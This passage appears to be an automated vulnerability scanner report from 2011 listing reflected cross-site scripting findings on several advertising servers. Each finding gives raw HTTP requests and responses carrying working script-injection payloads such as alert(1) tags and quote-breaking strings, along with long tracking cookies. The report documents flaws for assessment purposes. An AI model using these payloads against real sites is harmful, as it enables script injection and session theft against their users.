GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=93566"><script>alert(1)</script>241cb499537&client=ca-pub-9914992914910847&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxOFBKicK00ein94tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:53 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15uss01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:53 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:53 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qr0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j3d0183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:53 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:53 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:53 GMT
Content-Length: 3460

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036233768;click0=http://ad.media6degrees.com/adserv/clk?tId=5001546344048394|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...
y5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=93566"><script>alert(1)</script>241cb499537&client=ca-pub-9914992914910847&adurl=" WIDTH=160 HEIGHT=600 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

4.109. http://ad.turn.com/server/pixel.htm [fpid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.turn.com
Path:	/server/pixel.htm

Issue detail

The value of the fpid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61670"><script>alert(1)</script>de0c54e0ac8 was submitted in the fpid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /server/pixel.htm?fpid=61670"><script>alert(1)</script>de0c54e0ac8 HTTP/1.1
Host: ad.turn.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: uid=3658195966029417970; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7Cundefined%7C9%7C1001%7Cundefined%7Cundefined%7C10%7Cundefined%7Cundefined%7C12; rds=15098%7C15098%7C15098%7C15098%7Cundefined%7C15098%7C15098%7Cundefined%7C15098%7C15098%7Cundefined%7Cundefined%7C15098%7Cundefined%7Cundefined%7C15098; rv=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Set-Cookie: uid=3658195966029417970; Domain=.turn.com; Expires=Sun, 06-Nov-2011 14:11:07 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Tue, 10 May 2011 14:11:07 GMT
Content-Length: 377

<html>
<head>
</head>
<body>
<iframe name="turn_sync_frame" width="0" height="0" frameborder="0"
   src="http://cdn.turn.com/server/ddc.htm?uid=3658195966029417970&rnd=7162196340089684779&fpid=61670"><script>alert(1)</script>de0c54e0ac8&nu=n&t=&sp=n&purl="
   marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true"
   scrolling="no">
...[SNIP]...

4.110. http://ad.yieldmanager.com/st [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.yieldmanager.com
Path:	/st

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d210e"-alert(1)-"e1c8a4dc686 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /st?ad_type=iframe&ad_size=728x90&section=1565774&d210e"-alert(1)-"e1c8a4dc686=1 HTTP/1.1
Host: ad.yieldmanager.com
Proxy-Connection: keep-alive
Referer: http://d.tradex.openx.com/afr.php?refresh=65&zoneid=3607&cb=INSERT_RANDOM_NUMBER_HERE&loc=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uid=uid=888a2c66-6932-11e0-8830-001b24783b20&_hmacv=1&_salt=4113190855&_keyid=k1&_hmac=2bd08a6ff17f1fdebe5379daa4d53c1f64bef7b8; pv1="b!!!!$!#3yC!,Y+@!$Xwq!1`)_!%bq`!!!!$!?5%!$U=A2!w1K*!%4fo!$k7.!'pCX~~~~~<wYiT=#mS_~!#M*E!!!(#!$u#*!0242!%=e2!!!%%!?5%!%5F4/!wVd.!'iA7!'D#r!'AvZ~~~~~<ypnV=!oTp~"; ih="b!!!!A!)Tt+!!!!#<wYoD!)`Tm!!!!#<vmX7!)`Tq!!!!#<vmX5!)`U6!!!!#<vmX0!*loT!!!!#<vl)_!,+Z*!!!!$<xl/w!/Iw4!!!!#<wF]1!/U5t!!!!#<xu,P!/YG?!!!!#<xt+b!/_KY!!!!#<vl)T!/h[p!!!!#<vl)[!/iq6!!!!$<vmX=!/iq@!!!!$<vm`!!/iqB!!!!#<vmTN!/iqH!!!!#<vmTH!024(!!!!#<ypn>!0242!!!!#<ypnV!0eUu!!!!#<y]8.!0ji6!!!!'<xqS_!0ji7!!!!%<xqRm!1EYJ!!!!#<wUv<!1M!9!!!!$<wF]9!1NgF!!!!#<xt,P!1Z!K!!!!#<xt]R!1`)_!!!!#<wYiT!1kC+!!!!%<xqSY!1kC5!!!!$<yqWP!1kC<!!!!#<xqQb!1kDI!!!!#<xqQM"; bh="b!!!%1!!!?H!!!!%<wR0_!!*oY!!!!+<yq][!!-?2!!!!1<yq][!!-G2!!!!$<w[UB!!-O3!!!!%<yq][!!-yu!!!!.<vm`$!!.+B!!!!.<vm`%!!.tS!!!!,<yq][!!0O4!!!!*<ypn@!!0O<!!!!1<ypn@!!0P,!!!!#<x4hf!!1Mv!!!!$<y45e!!2(j!!!!/<whqI!!4Qs!!!!%<wle3!!=cS!!!!'<yV[r!!?VS!!B1c<xl.o!!J<=!!!!0<ypn@!!J<E!!!!0<ypn@!!J>I!!!!#<x)TA!!L(^!!!!$<xD>X!!LHY!!!!.<whoV!!L[f!!!!#<wYl+!!ONX!!!!#<wle$!!ObA!!!!,<yq][!!PL`!!!!$<y461!!RZ(!!!!)<xt,H!!VQ(!!!!#<wYkr!!Zwb!!!!*<yq][!!`4u!!!!%<y66/!!dNP!!!!%<x+rS!!g5o!!!!'<wsq+!!iV_!!!!%<wsq-!!i[%!!!!#<x4hf!!ita!!!!1<ypn@!!q:E!!!!.<ypn@!!q<+!!!!/<ypn@!!q</!!!!/<ypn@!!q<3!!!!/<ypn@!!r^4!!!!(<x+rV!!r^5!!!!#<x*ig!!tP)~~!!tjQ!!!!,<yq][!!ucq!!!!1<ypn@!!vRm!!!!*<ypn@!!vRq!!!!*<ypn@!!vRr!!!!*<ypn@!!vRw!!!!1<ypn@!!vRx!!!!*<ypn@!!vRy!!!!*<ypn@!!w3l!!!!,<yq][!!wQ3!!!!,<yq][!!wQ5!!!!,<yq][!!wcu!!!!#<xCAG!!wq:!!!!#<xCAF!!xX$!!!!#<x(sS!!xX+!!!!#<x(rt!!y!r!!!!*<ypn@!##^t!!!!#<wYoF!#'uj!!!!#<wsgD!#*Xb!!!!#<yMiw!#*Xc!!!!#<xE(*!#+<r!!!!#<wO:5!#+di!!!!#<xYi<!#+dj!!!!#<xYi<!#+dk!!!!#<xYi<!#-B#!!!!#<wsXA!#-H0!!!!#<wleD!#.dO!!!!+<xt,H!#1*C!!!!*<yq][!#27)!!!!+<x+rW!#2RS!!!!#<x9#3!#2XY!!!!*<ypnB!#2YX!!!!#<vl)_!#3<E!!!!$<yr$1!#3>J!!!!#<x(U)!#3g6!!!!#<w>/l!#3pS!!!!#<x31-!#3pv!!!!#<wsXA!#44f!!!!*<ypn@!#48w!!2s=<xrZD!#4`K!!!!#<x2wq!#5(U!!!!#<x,:<!#5(^!!!!#<x31-!#5(a!!!!#<x3.t!#5[N!!!!#<vl)_!#5kt!!!!#<x)TA!#5nZ!!!!*<ypn@!#7.'!!!!*<ypn@!#7.:!!!!*<ypn@!#7.O!!!!*<ypn@!#8>*!!!!#<x2wq!#8Mo!!!!#<wle%!#8tG!!!!#<wsq,!#=-g!!!!#<xi5p!#KjQ!!B1c<xl.o!#Km/!!!!#<xl/o!#L]q!!!!#<w>/s!#MHv!!!!$<w>/n!#MTC!!!!*<ypn@!#MTF!!!!*<ypn@!#MTH!!!!*<ypn@!#MTI!!!!*<ypn@!#MTJ!!!!*<ypn@!#MTK!!!!#<w>/m!#M]c!!!!)<xt,H!#Mr7!!!!#<w>/l!#N45!!!!#<xr]M!#O29!!!!*<yq][!#O>d!!C`.<xrYg!#SCj!!!!+<xt,H!#SCk!!!!+<xt,H!#SEm!!!!0<ypn@!#SF3!!!!0<ypn@!#T,d!!!!#<wsXA!#T8R!!!!#<x+I0!#TnE!!!!*<ypn@!#UDP!!!!0<ypn@!#UZs!!!!#<yjEy!#U_(!!!!*<wleI!#V7#!!!!#<x,:<!#V8a!!!!#<xq_s!#VEP!!!!#<wleE!#VO3!!!!#<xq_q!#Wb^!!C`.<xrYg!#X8Y!!!!#<xr]M!#XI8!!!!#<xL%*!#YCg!!!!#<x2wq!#Z8A!!!!*<yq][!#ZPp!!!!#<y,`,!#[L>!!!!%<w[UA!#]%`!!!!$<xtBW!#]9R!!!!#<yq[g!#]@s!!!!%<whqH!#]Z!!!!!*<yq][!#^@9!!!!#<x2wq!#^bt!!!!%<xr]Q!#^d6!!!!$<xtBW!#`-7!!!!*<yq][!#`S2!!!!,<yq][!#`U0!!!!+<yq][!#`U9!!!!*<yq][!#a'?!!!!#<w>/m!#a4,!!!!#<y,`,!#a=6!!!!+<yq][!#a=7!!!!+<yq][!#a=9!!!!+<yq][!#a=P!!!!+<yq][!#aCq!!!!(<w[U@!#aG>!!!!+<xt,H!#ah!!!!!*<ypn@!#ai7!!!!*<ypn@!#ai?!!!!*<ypn@!#b:Z!!!!#<x2wq!#b<_!!!!#<x3.t!#b<`!!!!#<x,:<!#b<a!!!!#<x,:<!#b='!!!!#<x3.t!#b=*!!!!#<x,:<!#b=E!!!!#<x31-!#b=F!!!!#<x3.t!#b@%!!!!#<wsXA!#bGi!!!!#<xr]M!#c-u!!!!-<w*F]!#c8V!!!!*<yq][!#c8W!!!!*<yq][!#c8X!!!!*<yq][!#c8]!!!!*<yq][!#c?c!!!!*<ypn@!#ddE!!!!#<xYi>!#e(g!!!!#<xE(*!#e3[!!!!$<yq][!#e9?!!!!#<y,`,!#e@T!!!!#<ypn:!#eLS!!!!#<yjEE!#ePa!!!!#<xr]M!#eaO!!!!+<xt,H!#ec)!!!!%<x+rF!#fG)!!!!*<yq][!#fG+!!!!+<yq][!#g=!!!!!*<yq][!#g]5!!!!)<xdAS!#gig!!!!#<xt+`!#h.N!!!!#<yMiw!#j9y!!!!#<yq^W!#l)E!!!!#<y,`,!#mP5!!!!$<w[UB!#mP6!!!!$<w[UB!#ne_!!!!*<yq][!#ni8!!!!#<x*cS!#p6E!!!!%<wleK!#p6Z!!!!#<wle8!#p7'!!!!#<yMiw!#p]R!!!!#<wsXA!#p]T!!!!#<wsXA!#q),!!!!#<wO:5!#q2T!!!!.<whoV!#q2U!!!!.<whoV!#q9]!!!!#<waw+!#qx3!